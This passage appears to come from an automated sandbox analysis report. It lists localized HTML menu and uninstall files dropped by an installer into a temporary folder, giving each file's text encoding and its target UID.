"Menu1Text1PL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1PL.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1NL.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1NL.html]- [targetUID: 00000000-00005524] "Menu1Text1TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1TR.html]- [targetUID: 00000000-00005524] "Menu1Text1FI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1FI.html]- [targetUID: 00000000-00005524] "Menu1Text1AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1AR.html]- [targetUID: 00000000-00005524] "Menu1Text1EE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1EE.html]- [targetUID: 00000000-00005524] "Menu1Text1LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1LT.html]- [targetUID: 00000000-00005524] "Menu1Text1KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1KR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1SE.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1DK.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1DK.html]- [targetUID: 00000000-00005524] "Menu3Text1GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1GR.html]- [targetUID: 00000000-00005524] "Menu3Text1PL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1PL.html]- [targetUID: 00000000-00005524] "Menu3Text1CA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1CA.html]- [targetUID: 00000000-00005524] "Menu3Text1SRCR.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1SRCR.html]- [targetUID: 00000000-00005524] "Menu3Text1PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1PH.html]- [targetUID: 00000000-00005524] "Menu3Text1MK.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1MK.html]- [targetUID: 00000000-00005524] "Menu1Text1DE.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1DE.html]- [targetUID: 00000000-00005524] "Menu3Text1BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1BY.html]- [targetUID: 00000000-00005524] "Menu3Text1SR.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1SR.html]- [targetUID: 00000000-00005524] "Menu3Text1UA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1UA.html]- [targetUID: 00000000-00005524] "Menu3Text1RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1RU.html]- [targetUID: 00000000-00005524] "Menu3Text1BA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1BA.html]- [targetUID: 00000000-00005524] "Menu3Text1SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1SK.html]- [targetUID: 00000000-00005524] "Menu3Text1JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1JP.html]- [targetUID: 00000000-00005524] "Menu3Text1BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1BG.html]- [targetUID: 00000000-00005524] "Menu3Text1SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1SI.html]- [targetUID: 00000000-00005524] "Menu3Text1HR.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1HR.html]- [targetUID: 00000000-00005524] "Menu3Text1MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1MY.html]- [targetUID: 00000000-00005524] "Menu3Text1HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1HU.html]- [targetUID: 00000000-00005524] "Menu3Text1LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1LV.html]- [targetUID: 00000000-00005524] "Menu3Text1CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1CZ.html]- [targetUID: 00000000-00005524] "Menu3Text1LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1LT.html]- [targetUID: 00000000-00005524] "Menu3Text1EE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1EE.html]- [targetUID: 00000000-00005524] "Menu3Text1ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1ID.html]- [targetUID: 00000000-00005524] "Menu3Text1RO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1RO.html]- [targetUID: 00000000-00005524] "Menu3Text1TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1TR.html]- [targetUID: 00000000-00005524] "Menu3Text1FI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1FI.html]- [targetUID: 00000000-00005524] "Menu3Text1AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1AR.html]- [targetUID: 00000000-00005524] "Menu2Text1RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1RU.html]- [targetUID: 00000000-00005524] "Menu2Text1GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1GR.html]- [targetUID: 00000000-00005524] "Menu2Text1BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1BY.html]- [targetUID: 00000000-00005524] "Menu3Text1KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1KR.html]- [targetUID: 00000000-00005524] "Menu2Text1BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1BG.html]- [targetUID: 00000000-00005524] "Menu2Text1SRCR.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1SRCR.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1CN.html]- [targetUID: 00000000-00005524] "Menu2Text1MK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1MK.html]- [targetUID: 00000000-00005524] "UnistallMenu1Text1CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\UnistallMenu1Text1CNTR.html]- [targetUID: 00000000-00005524] "Menu1Text1EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1EN.html]- [targetUID: 00000000-00005524] "Menu2Text1UA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1UA.html]- [targetUID: 00000000-00005524] "Menu2Text1CA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1CA.html]- [targetUID: 00000000-00005524] "Menu2Text1PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1PH.html]- [targetUID: 00000000-00005524] "Menu2Text1AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1AR.html]- [targetUID: 00000000-00005524] "Menu2Text1BA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1BA.html]- [targetUID: 00000000-00005524] "Menu2Text1CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1CZ.html]- [targetUID: 00000000-00005524] "Menu2Text1HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1HU.html]- [targetUID: 00000000-00005524] "Menu2Text1RO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1RO.html]- [targetUID: 00000000-00005524] "Menu2Text1LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1LT.html]- [targetUID: 00000000-00005524] "Menu2Text1SR.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1SR.html]- [targetUID: 00000000-00005524] "Menu2Text1TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1TR.html]- [targetUID: 00000000-00005524] "Menu2Text1LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1LV.html]- [targetUID: 00000000-00005524] "Menu2Text1ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1ID.html]- [targetUID: 00000000-00005524] "Menu2Text1PL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1PL.html]- [targetUID: 00000000-00005524] "Menu2Text1SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1SK.html]- [targetUID: 00000000-00005524] "Menu2Text1SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1SI.html]- [targetUID: 00000000-00005524] "Menu2Text1MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1MY.html]- [targetUID: 00000000-00005524] "Menu2Text1HR.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1HR.html]- [targetUID: 00000000-00005524] "Menu2Text1KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1KR.html]- [targetUID: 00000000-00005524] "Menu2Text1EE.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1EE.html]- [targetUID: 00000000-00005524] "Menu2Text1JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1JP.html]- [targetUID: 00000000-00005524] "Menu2Text1FI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1FI.html]- [targetUID: 00000000-00005524] "Menu1Text1CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1CN.html]- [targetUID: 00000000-00005524] "Menu1Text1CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu1Text1CNTR.html]- [targetUID: 00000000-00005524] "Menu5Text1GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1GR.html]- [targetUID: 00000000-00005524] "Menu5Text1PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1PH.html]- [targetUID: 00000000-00005524] "Menu5Text1MK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1MK.html]- [targetUID: 00000000-00005524] "Menu5Text1BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1BY.html]- [targetUID: 00000000-00005524] "Menu5Text1RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1RU.html]- [targetUID: 00000000-00005524] "Menu5Text1BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1BG.html]- [targetUID: 00000000-00005524] "Menu3Text1FR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1FR.html]- [targetUID: 00000000-00005524] "Menu5Text1RO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1RO.html]- [targetUID: 00000000-00005524] "Menu3Text1IT.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1IT.html]- [targetUID: 00000000-00005524] "Menu3Text1DE.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1DE.html]- [targetUID: 00000000-00005524] "Menu5Text1UA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1UA.html]- [targetUID: 00000000-00005524] "Menu5Text1CA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1CA.html]- [targetUID: 00000000-00005524] "Menu5Text1AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1AR.html]- [targetUID: 00000000-00005524] "Menu3Text1ES.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1ES.html]- [targetUID: 00000000-00005524] "Menu5Text1CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1CZ.html]- [targetUID: 00000000-00005524] "Menu5Text1PL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1PL.html]- [targetUID: 00000000-00005524] "Menu5Text1HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1HU.html]- [targetUID: 00000000-00005524] "Menu3Text1BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1BR.html]- [targetUID: 00000000-00005524] "Menu5Text1MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1MY.html]- [targetUID: 00000000-00005524] "Menu5Text1SRCR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1SRCR.html]- [targetUID: 00000000-00005524] "Menu5Text1ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1ID.html]- [targetUID: 00000000-00005524] "Menu3Text1EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1EN.html]- [targetUID: 00000000-00005524] "Menu6Text2GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2GR.html]- [targetUID: 00000000-00005524] "Menu5Text1BA.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1BA.html]- [targetUID: 00000000-00005524] "Menu5Text1JP.html" has type "HTML document Non-ISO extended-ASCII text with CRLF NEL line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1JP.html]- [targetUID: 00000000-00005524] "Menu3Text1NO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1NO.html]- [targetUID: 00000000-00005524] "Menu3Text1DK.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1DK.html]- [targetUID: 00000000-00005524] "Menu5Text1HR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1HR.html]- [targetUID: 00000000-00005524] "Menu3Text1SE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1SE.html]- [targetUID: 00000000-00005524] "Menu5Text1FI.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1FI.html]- [targetUID: 00000000-00005524] "Menu5Text1EE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1EE.html]- [targetUID: 00000000-00005524] "Menu5Text1TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1TR.html]- [targetUID: 00000000-00005524] "Menu3Text1NL.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1NL.html]- [targetUID: 00000000-00005524] "Menu5Text1SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1SK.html]- [targetUID: 00000000-00005524] "Menu6Text2PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2PH.html]- [targetUID: 00000000-00005524] "Menu5Text1LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1LV.html]- [targetUID: 00000000-00005524] "Menu6Text1RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1RU.html]- [targetUID: 00000000-00005524] "Menu5Text1LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1LT.html]- [targetUID: 00000000-00005524] "Menu5Text1SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1SI.html]- [targetUID: 00000000-00005524] "Menu6Text2FI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2FI.html]- [targetUID: 00000000-00005524] "Menu6Text2ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2ID.html]- [targetUID: 00000000-00005524] "Menu5Text1SR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1SR.html]- [targetUID: 00000000-00005524] "Menu6Text2UA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2UA.html]- [targetUID: 00000000-00005524] "Menu6Text2BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2BY.html]- [targetUID: 00000000-00005524] "Menu6Text2RU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2RU.html]- [targetUID: 00000000-00005524] "Menu6Text2PL.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2PL.html]- [targetUID: 00000000-00005524] "Menu6Text2MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2MY.html]- [targetUID: 00000000-00005524] "Menu5Text1KR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu5Text1KR.html]- [targetUID: 00000000-00005524] "Menu6Text2EE.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2EE.html]- [targetUID: 00000000-00005524] "Menu6Text1UA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1UA.html]- [targetUID: 00000000-00005524] "Menu6Text2AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2AR.html]- [targetUID: 00000000-00005524] "Menu6Text1BY.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1BY.html]- [targetUID: 00000000-00005524] "Menu6Text2LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2LV.html]- [targetUID: 00000000-00005524] "Menu6Text2SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2SK.html]- [targetUID: 00000000-00005524] "Menu6Text2RO.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2RO.html]- [targetUID: 00000000-00005524] "Menu6Text2HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2HU.html]- [targetUID: 00000000-00005524] "Menu6Text2CA.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2CA.html]- [targetUID: 00000000-00005524] "Menu6Text2SRCR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2SRCR.html]- [targetUID: 00000000-00005524] "Menu6Text2CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2CZ.html]- [targetUID: 00000000-00005524] "Menu6Text2BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2BG.html]- [targetUID: 00000000-00005524] "Menu6Text2MK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2MK.html]- [targetUID: 00000000-00005524] "Menu6Text2SR.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2SR.html]- [targetUID: 00000000-00005524] "Menu6Text2LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2LT.html]- [targetUID: 00000000-00005524] "Menu6Text2BA.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2BA.html]- [targetUID: 00000000-00005524] "Menu6Text1SRCR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1SRCR.html]- [targetUID: 00000000-00005524] "Menu6Text1GR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1GR.html]- [targetUID: 00000000-00005524] "Menu6Text2HR.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2HR.html]- [targetUID: 00000000-00005524] "Menu6Text1MK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1MK.html]- [targetUID: 00000000-00005524] "Menu6Text2TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2TR.html]- [targetUID: 00000000-00005524] "Menu6Text2SI.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text2SI.html]- [targetUID: 00000000-00005524] "Menu6Text1BG.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1BG.html]- [targetUID: 00000000-00005524] "Menu6Text1AR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1AR.html]- [targetUID: 00000000-00005524] "Menu6Text1LT.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1LT.html]- [targetUID: 00000000-00005524] "Menu6Text1PH.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1PH.html]- [targetUID: 00000000-00005524] "Menu6Text1HU.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1HU.html]- [targetUID: 00000000-00005524] "Menu2Text1DE.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1DE.html]- [targetUID: 00000000-00005524] "Menu3Text1CNTR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1CNTR.html]- [targetUID: 00000000-00005524] "Menu6Text1BA.html" has type "HTML document Non-ISO extended-ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1BA.html]- [targetUID: 00000000-00005524] "Menu6Text1PL.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1PL.html]- [targetUID: 00000000-00005524] "Menu3Text1CN.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu3Text1CN.html]- [targetUID: 00000000-00005524] "Menu6Text1SR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1SR.html]- [targetUID: 00000000-00005524] "Menu2Text1IT.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1IT.html]- [targetUID: 00000000-00005524] "Menu2Text1FR.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1FR.html]- [targetUID: 00000000-00005524] "Menu6Text1CZ.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1CZ.html]- [targetUID: 00000000-00005524] "Menu6Text1LV.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1LV.html]- [targetUID: 00000000-00005524] "Menu2Text1EN.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1EN.html]- [targetUID: 00000000-00005524] "Menu6Text1RO.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1RO.html]- [targetUID: 00000000-00005524] "Menu6Text1ID.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1ID.html]- [targetUID: 00000000-00005524] "Menu2Text1NL.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1NL.html]- [targetUID: 00000000-00005524] "Menu6Text1MY.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1MY.html]- [targetUID: 00000000-00005524] "Menu2Text1ES.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1ES.html]- [targetUID: 00000000-00005524] "Menu2Text1BR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu2Text1BR.html]- [targetUID: 00000000-00005524] "Menu6Text1CA.html" has type "HTML document ASCII text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1CA.html]- [targetUID: 00000000-00005524] "Menu6Text1SK.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: [%TEMP%\_ir_sf_temp_0\Menu6Text1SK.html]- [targetUID: 00000000-00005524] "Menu6Text1TR.html" has type "HTML document ISO-8859 text with CRLF line terminators"- Location: 